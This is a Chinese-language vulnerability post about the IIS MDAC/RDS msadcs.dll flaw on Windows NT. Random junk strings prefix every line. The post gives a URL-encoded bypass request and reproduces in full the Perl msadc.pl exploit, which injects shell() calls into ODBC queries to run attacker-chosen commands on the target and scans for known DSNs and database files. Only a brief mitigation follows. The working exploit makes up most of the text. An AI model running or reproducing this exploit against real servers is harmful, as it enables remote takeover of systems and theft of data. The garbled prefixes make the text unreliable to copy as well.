IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!ueyVE$1 cE7xNZ;Bh 涉及程序:
'BE &l W Microsoft NT server
{Vz.|
a[T I?sA)!8 描述:
2{t i])
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
U1&pcwP ;F)gr 详细:
'jv[Gcss3L 如果你没有时间读详细内容的话,就删除:
sP1wO4M?{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
n-q 有关的安全问题就没有了。
?y( D_Nt L $4yv)6G 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
v?Q|;< } $:uN 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;g[C=yhK`C 关于利用ODBC远程漏洞的描述,请参看:
?A|8J5EV H ]BH http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Yh%a7K zo*YPDEm" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
wRwTN"Yg http://www.microsoft.com/security/bulletins/MS99-025faq.asp /rsr|`# XW!a?aLNX 这里不再论述。
k(n{$ >YPC&@9
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
G\8ps~3T r81YL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
d/>owCwQ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
LQVa,' v3 $+l1 `I$'Lp#5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
"eWN52 a`.] 8Jy) #!perl
; z_ZZ(W #
t#s?: # MSADC/RDS 'usage' (aka exploit) script
Y,O)"6ev #
pDr%uL # by rain.forest.puppy
%U]_1"d,<\ #
]d#Lfgo # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
G([8Q8B4+ # beta test and find errors!
Vl;GQe ^4@~\#$z use Socket; use Getopt::Std;
vywd&7gK getopts("e:vd:h:XR", \%args);
7.4Q \VL[,z=q. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
O[O`4de9 9W$d'IA if (!defined $args{h} && !defined $args{R}) {
+QNFu){G print qq~
D3#/*Ky Usage: msadc.pl -h <host> { -d <delay> -X -v }
%JBFG.+ -h <host> = host you want to scan (ip or domain)
%x_c2 -d <seconds> = delay between calls, default 1 second
%GUu{n<6 -X = dump Index Server path table, if available
\VmqK&9 -v = verbose
0T,Qn{ -e = external dictionary file for step 5
sW)C6 # dI!x Ai Or a -R will resume a command session
@=o1q=5@8 &IGTCTBP ~; exit;}
DXPiC[g] 7Mxw0J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_RG!lmJV if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a/!!Y@7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
VO ^[7Y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~YO-GX( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=|IB= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g+8j$w} ]=v_u9; if (!defined $args{R}){ $ret = &has_msadc;
m x@F^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
#W#GI"K ;Ab`b1B print "Please type the NT commandline you want to run (cmd /c assumed):\n"
aVv$k . "cmd /c ";
XE]YKJ?|k $in=<STDIN>; chomp $in;
$Xf1|!W%a% $command="cmd /c " . $in ;
Sfc0 ~1 T1bPI/ if (defined $args{R}) {&load; exit;}
srfFJX7* .5+*,+- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
D8P<mIu}Y &try_btcustmr;
`_Bvaej?, %lZ++?&^ print "\nStep 2: Trying to make our own DSN...";
l,}{Y4\G &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
KE\p|X i &.ZW1TxE8 print "\nStep 3: Trying known DSNs...";
D$g|f[l &known_dsn;
XHuY'\;- g]|K@sm print "\nStep 4: Trying known .mdbs...";
n*-t
=DF &known_mdb;
T^h;T{H2 bX#IE[Yp} if (defined $args{e}){
M0`nr}g print "\nStep 5: Trying dictionary of DSN names...";
$3BCA)5: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[.DSY[!8U ;\7TQ9z print "Sorry Charley...maybe next time?\n";
eUvIO+av exit;
LO@.aJpp
%Kd&A* ##############################################################################
hNB;29r~ .$b]rx7$~ sub sendraw { # ripped and modded from whisker
%zE_Q sleep($delay); # it's a DoS on the server! At least on mine...
lcgT9m# my ($pstr)=@_;
96;17h$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:+ksmyW die("Socket problems\n");
Tj@}O:q7: if(connect(S,pack "SnA4x8",2,80,$target)){
GF5WR e(E select(S); $|=1;
/0QGU4= print $pstr; my @in=<S>;
dw,Nlf~*0 select(STDOUT); close(S);
2SU G/-P# return @in;
6GCwc1g } else { die("Can't connect...\n"); }}
f!;i$Oif R?Y#>K ##############################################################################
YK *2 4kGA`XhS* sub make_header { # make the HTTP request
n k]tq3.[ my $msadc=<<EOT
nd
'K4q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2V(ye9 User-Agent: ACTIVEDATA
A0.)=q Host: $ip
2UY0:ye Content-Length: $clen
J 2%^%5&0 Connection: Keep-Alive
|M|'S~z +7?p&-r)x ADCClientVersion:01.06
mfOr+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
q[{q3-W /km^IH --!ADM!ROX!YOUR!WORLD!
Be+'&+ Content-Type: application/x-varg
{\22C `9t Content-Length: $reqlen
#.p^S0\pw
a9z|ef EOT
3/8o)9f. ; $msadc=~s/\n/\r\n/g;
DQW^;Ls return $msadc;}
u`Djle VKy:e. ##############################################################################
";B.^pBv@; 6N(Wv0b $ sub make_req { # make the RDS request
]g-(|X~> my ($switch, $p1, $p2)=@_;
x8%Q TTY my $req=""; my $t1, $t2, $query, $dsn;
}xTTz,Oj$ kXS_:f;M if ($switch==1){ # this is the btcustmr.mdb query
lZCvH1&" $query="Select * from Customers where City=" . make_shell();
yA*~O$~Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2|F.J G^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
dT8m$}h9
VVeO>j d elsif ($switch==2){ # this is general make table query
X5U.8qI3 $query="create table AZZ (B int, C varchar(10))";
L>$yslH;b $dsn="$p1";}
(8o~ XL B1m@ elsif ($switch==3){ # this is general exploit table query
FT73P0!8. $query="select * from AZZ where C=" . make_shell();
i_ws*7B< $dsn="$p1";}
z<c^<hE:l V1Dwh@iS elsif ($switch==4){ # attempt to hork file info from index server
(:E_m|00; $query="select path from scope()";
9F)v= $dsn="Provider=MSIDXS;";}
x P{L%. <uNBsYMuC elsif ($switch==5){ # bad query
=]E(iR_& $query="select";
I=l() ET= $dsn="$p1";}
6gwjrGje\ ;[WW,,!Y $t1= make_unicode($query);
%@q52ZQ $t2= make_unicode($dsn);
'1;Q'-/J $req = "\x02\x00\x03\x00";
aWek<Y~+ $req.= "\x08\x00" . pack ("S1", length($t1));
@uz&]~+` $req.= "\x00\x00" . $t1 ;
t/WauY2JUC $req.= "\x08\x00" . pack ("S1", length($t2));
Y2vzK; $req.= "\x00\x00" . $t2 ;
qC?J`
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
WwbExn< return $req;}
ntkTrei
] bW<_K9" ##############################################################################
[CBA Lj5 yXS ~PG sub make_shell { # this makes the shell() statement
x3T)/'( return "'|shell(\"$command\")|'";}
,eOOV@3C >i~W$;t ##############################################################################
{g\Yy(r
sLK J<=0i sub make_unicode { # quick little function to convert to unicode
Gm^@lWzG my ($in)=@_; my $out;
Da1BxbDeI for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=[(1u|H9 return $out;}
DbJ:KQ!* .g DWv ##############################################################################
R'qB-v. qu BTRW9 sub rdo_success { # checks for RDO return success (this is kludge)
{%.
_cR2 my (@in) = @_; my $base=content_start(@in);
<`5>;Xn= if($in[$base]=~/multipart\/mixed/){
K"VphKvR return 1 if( $in[$base+10]=~/^\x09\x00/ );}
LtbL[z>] return 0;}
EHkb{Q8 k:s}`h_n ##############################################################################
k(<5tv d HxAq& J;xu sub make_dsn { # this makes a DSN for us
/A}3kTp my @drives=("c","d","e","f");
f 7{E(, print "\nMaking DSN: ";
OGg9e foreach $drive (@drives) {
Htl6Mr*{ print "$drive: ";
^DXERt&3 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}$#e&&)n "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
7!w@u6Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
J}EQ_FC"$ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{,.1KtrSN return 0 if $2 eq "404"; # not found/doesn't exist
,)'!E^n if($2 eq "200") {
pSkP8'
? foreach $line (@results) {
im9 B=D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/XS6X } return 0;}
pBiC [J\5DctX;c ##############################################################################
9_JK. 'VFxg, sub verify_exists {
]Rohf WHX my ($page)=@_;
o,9E~Q '`{ my @results=sendraw("GET $page HTTP/1.0\n\n");
u /JEQz1 return $results[0];}
ESiNW&u2 |;'V":yDs ##############################################################################
1QtT*{zm$F }Xyu"P sub try_btcustmr {
w7p%6m my @drives=("c","d","e","f");
XV1#/@H; my @dirs=("winnt","winnt35","winnt351","win","windows");
y;Q_8|,F /:>qhRFJA: foreach $dir (@dirs) {
(*7edc"F print "$dir -> "; # fun status so you can see progress
uzG<(Q pu foreach $drive (@drives) {
kU_bLC?>D print "$drive: "; # ditto
\2-!%i, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
kLMg|48fdI $reqlenlen=length( "$reqlen" );
}cgEC- $clen= 206 + $reqlenlen + $reqlen;
)52:@=h*l )XMSQ ="m my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ps"crV-W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
cKh { s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
f<9H#S: flIdL, ##############################################################################
iHr{
VQ :-.R*W sub odbc_error {
|!8[Vg^Wh my (@in)=@_; my $base;
jC
,foqL my $base = content_start(@in);
wfM$JYfI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@!'Pr$` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c_}i(HQ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rOyK==8/Fg $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IGEf*! return $in[$base+4].$in[$base+5].$in[$base+6];}
8wwqV{O7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Y fk[mo print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
af\>+7x93 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;5=J'8f "uN
JQ0Y ##############################################################################
LT!B]y qWKpnofa sub verbose {
LkMhS0?(T my ($in)=@_;
gsI"G return if !$verbose;
}XaO~] print STDOUT "\n$in\n";}
1d7oR`qr PP/M-Jql) ##############################################################################
AnU,2[( gQ.yNe sub save {
CY)/1 # J my ($p1, $p2, $p3, $p4)=@_;
If\u^c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
qW6a|s0} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9@./=5N~3 close OUT;}
HC*=E.J H!4!1J.=xw ##############################################################################
;TF(opW: Bt[`p\p@ sub load {
z!)_'A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SWUHHl open(IN,"<rds.save") || die("Couldn't open rds.save\n");
wg^#S @p=<IN>; close(IN);
&fdH
HN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
m;WUp{' $target= inet_aton($ip) || die("inet_aton problems");
"@Bc eD print "Resuming to $ip ...";
BZQ98"Fz* $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
,G
e7
9( if($p[1]==1) {
cn v4!c0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gHQ[D|zu $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
djS?$WBpU my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b(_PCVC if (rdo_success(@results)){print "Success!\n";}
699z@>$} else { print "failed\n"; verbose(odbc_error(@results));}}
Z8(1QU,~2 elsif ($p[1]==3){
.UakO,"z if(run_query("$p[3]")){
1s-k=3) print "Success!\n";} else { print "failed\n"; }}
x6* {@J&5* elsif ($p[1]==4){
kCL)F\v"iT if(run_query($drvst . "$p[3]")){
I$\dT1m$ print "Success!\n"; } else { print "failed\n"; }}
Ljq/f&
c exit;}
:7D&=n ) jRm:9`.Q ##############################################################################
]N NLr;p O}MY:6Pe sub create_table {
_Hl[Fit<j1 my ($in)=@_;
Y]{<IF:
$reqlen=length( make_req(2,$in,"") ) - 28;
v{i'o4 $reqlenlen=length( "$reqlen" );
q5 I2dNE $clen= 206 + $reqlenlen + $reqlen;
x|_%R
v my @results=sendraw(make_header() . make_req(2,$in,""));
zPe4WE| return 1 if rdo_success(@results);
/[Vaf R! my $temp= odbc_error(@results); verbose($temp);
(BVLlOo?J return 1 if $temp=~/Table 'AZZ' already exists/;
P.gk'\<k return 0;}
'C1=(PE%` ~&CaC ##############################################################################
3Ku!;uo!u K0@2>nR sub known_dsn {
G`ZpFg0Y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@(JcM= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
n }7DL8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
V=VL@= "banner", "banners", "ads", "ADCDemo", "ADCTest");
+&jWM-T"- u
?7(A% foreach $dSn (@dsns) {
H;k;%Zg; print ".";
QN9$n%Z next if (!is_access("DSN=$dSn"));
<t,uj.9_ if(create_table("DSN=$dSn")){
LS,/EGJ print "$dSn successful\n";
bESmKe( if(run_query("DSN=$dSn")){
MxuwEV|^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ik+qx~+`Qv print "Something's borked. Use verbose next time\n";}}} print "\n";}
7B _;YT 4-eb& ##############################################################################
0L$v7,
5 ZO2u[HSO> sub is_access {
'jZ2^ my ($in)=@_;
v!E0/
gD $reqlen=length( make_req(5,$in,"") ) - 28;
E8T4Nh_ $reqlenlen=length( "$reqlen" );
HelC_%#^ $clen= 206 + $reqlenlen + $reqlen;
c ^G\w+_ my @results=sendraw(make_header() . make_req(5,$in,""));
(?J6vK}S my $temp= odbc_error(@results);
&0K;Vr~D verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<&n3" return 0;}
<^UB@'lCm 9U>ID{ ##############################################################################
LG [2u g^NdN46% sub run_query {
5~<>h~yJ my ($in)=@_;
k~>9,=::d $reqlen=length( make_req(3,$in,"") ) - 28;
DifRpj I-0 $reqlenlen=length( "$reqlen" );
N;>>HN[bBP $clen= 206 + $reqlenlen + $reqlen;
')5W my @results=sendraw(make_header() . make_req(3,$in,""));
IPbdX@FeV return 1 if rdo_success(@results);
rFM`ne<zh my $temp= odbc_error(@results); verbose($temp);
-g]/Ko]2@$ return 0;}
x +!<_p s{NEP/QQJ ##############################################################################
p)f OAr >@[`, sub known_mdb {
qBpv[m my @drives=("c","d","e","f","g");
GD}3r:wDs my @dirs=("winnt","winnt35","winnt351","win","windows");
sRE$*^i my $dir, $drive, $mdb;
Un]`Gd]: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kWF4k f62z9)`^ # this is sparse, because I don't know of many
mq[(yR my @sysmdbs=( "\\catroot\\icatalog.mdb",
yc+#LZ~(a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
VBF3N5
;W "\\system32\\certmdb.mdb",
K?BWl:^x "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{0lY\#qcE :bE ^b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
P|v ;'9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
$hPAp} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
qDM/
6xO "\\cfusion\\cfapps\\security\\realm_.mdb",
Wcz{": [ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
r6Lb0PzMf "\\cfusion\\database\\cfexamples.mdb",
Ig'Y]%Z0 "\\cfusion\\database\\cfsnippets.mdb",
K)]7e?:Wu "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
FZ #ngrT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
WVftLIJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
ndOPD]A' "\\cfusion\\database\\smpolicy.mdb",
U_ V0 "\\cfusion\\database\cypress.mdb",
8d-; ;V "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
25l6@7q. "\\website\\cgi-win\\dbsample.mdb",
+>.plvZhu "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
G#HbiVH9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
C0jmjZ%w@ ); #these are just
&s"&rFFO[ foreach $drive (@drives) {
=9\=5_V foreach $dir (@dirs){
uw
L T$ foreach $mdb (@sysmdbs) {
Y`LZ/Tgk print ".";
+N5G4t#. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
UQ$dO2^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m1gJ"k6
`j if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
:)c >5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
YdV5\! } else { print "Something's borked. Use verbose next time\n"; }}}}}
j^1T3 + [NFg9y;{h foreach $drive (@drives) {
Ve2z= 6( foreach $mdb (@mdbs) {
,YSQog print ".";
'P)xY-15 if(create_table($drv . $drive . $dir . $mdb)){
lT@5=ou[ print "\n" . $drive . $dir . $mdb . " successful\n";
@?aNvWeavH if(run_query($drv . $drive . $dir . $mdb)){
Gc~A,_( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
8!TbJVR } else { print "Something's borked. Use verbose next time\n"; }}}}
2K..
;A$ }
#v:<\-MjN 90k|W> ##############################################################################
MEI]N0L3 .Ap[C? mV sub hork_idx {
c?}C{ print "\nAttempting to dump Index Server tables...\n";
37ll8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
LOX[h$ $reqlen=length( make_req(4,"","") ) - 28;
7FqmT
$reqlenlen=length( "$reqlen" );
9u1_L`+b $clen= 206 + $reqlenlen + $reqlen;
T?) U| my @results=sendraw2(make_header() . make_req(4,"",""));
~r]ZD) if (rdo_success(@results)){
)3.udx my $max=@results; my $c; my %d;
6O"Vy for($c=19; $c<$max; $c++){
+DF<o
U~ $results[$c]=~s/\x00//g;
`tVBV:4\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7V 4iPx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
a,d\<mx $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1ScfX\F= $d{"$1$2"}="";}
BNyDEFd foreach $c (keys %d){ print "$c\n"; }
nv{ou[vQ } else {print "Index server doesn't seem to be installed.\n"; }}
L -b~# u,PrEmy- ##############################################################################
CUnZ}@?d H5, {Z sub dsn_dict {
=V"ags open(IN, "<$args{e}") || die("Can't open external dictionary\n");
L
FHyiIO while(<IN>){
|O+R%'z'< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
E5jK}1t4V next if (!is_access("DSN=$dSn"));
VDPqI+z if(create_table("DSN=$dSn")){
%saTyF, print "$dSn successful\n";
Fy`VQ\%7t if(run_query("DSN=$dSn")){
CLQ \Is^] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Yl&eeM print "Something's borked. Use verbose next time\n";}}}
5>j,P print "\n"; close(IN);}
k|BY 7C Xvi{A]V ##############################################################################
56>Zqtp* ,$}P<WZMu sub sendraw2 { # ripped and modded from whisker
L^RyJ;^c sleep($delay); # it's a DoS on the server! At least on mine...
`*KS`
z? my ($pstr)=@_;
>6:slNM# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
bLCr h(< die("Socket problems\n");
&VR<'^> if(connect(S,pack "SnA4x8",2,80,$target)){
J0@m
Ol print "Connected. Getting data";
+O j28vR open(OUT,">raw.out"); my @in;
To}L%) select(S); $|=1; print $pstr;
U(3LeS;mr while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0K 7-i+\# close(OUT); select(STDOUT); close(S); return @in;
S&_ZQLiQ$ } else { die("Can't connect...\n"); }}
)09_CC!a ksu:RJ- ##############################################################################
`WWf?g 4yQ4lU,r sub content_start { # this will take in the server headers
W;~^3Hz6 my (@in)=@_; my $c;
%- %/3 for ($c=1;$c<500;$c++) {
\Vm{5[ :SA if($in[$c] =~/^\x0d\x0a/){
@F=ZGmq if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8}xU]N#EV else { return $c+1; }}}
S]<G|mn, return -1;} # it should never get here actually
hh+GW*'~ ~>>o'H6 ##############################################################################
LMsbTF@E GS8,mQ8l*l sub funky {
-
CM;sXq my (@in)=@_; my $error=odbc_error(@in);
WVy"MD if($error=~/ADO could not find the specified provider/){
rvw1'y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+(PtOo. exit;}
/PPk
p9H{ if($error=~/A Handler is required/){
BAX])~_ print "\nServer has custom handler filters (they most likely are patched)\n";
bTO$B2eh| exit;}
{:4); . if($error=~/specified Handler has denied Access/){
fkRb;aIl print "\nServer has custom handler filters (they most likely are patched)\n";
<u4GIi
<sm exit;}}
&bBp`h /I[cj3}{+f ##############################################################################
-d_FB?X Rv.W~FE^ sub has_msadc {
Ko/_w_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
O-|RPW} my $base=content_start(@results);
CdWGb[uI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Q>TaaGc return 0;}
<@F4{* _'2r=a#` ########################
A<>W^ow [C771~BL> d[TcA2nF 解决方案:
&+&^Hc 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~+CNED0z+ 2、移除web 目录: /msadc